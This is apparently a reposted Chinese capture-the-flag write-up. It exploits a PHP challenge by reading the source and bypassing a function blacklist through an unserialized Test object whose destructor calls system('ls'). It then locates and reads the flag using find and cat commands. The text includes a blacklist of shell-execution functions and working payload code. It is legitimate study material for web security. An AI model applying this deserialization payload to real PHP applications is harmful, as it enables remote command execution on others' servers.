打开页面,过了一会弹出一个错误。查看源码什么也没有,于是尝试抓包分析一下。
发现有个函数和执行的内容。
尝试执行file_get_contents函数读取index.php的内容。
成功读取index.php的源码。
#只保留了php的内容
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
进行php代码审计。
1.给了一个执行函数的黑名单。
2.request方式提交两个参数,func和p。
通过执行反序列化,执行ls命令。
首先我们尝试构建func和p的序列化。
根据源码构建:
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>
没找到关于flag的文件,于是尝试直接搜索。
命令为:find / -name flag*
之后找到一个/tmp/flagoefiu4r93
文档。
尝试打开:cat /tmp/flagoefiu4r93
转载:https://blog.csdn.net/qq_24033605/article/details/116803994
查看评论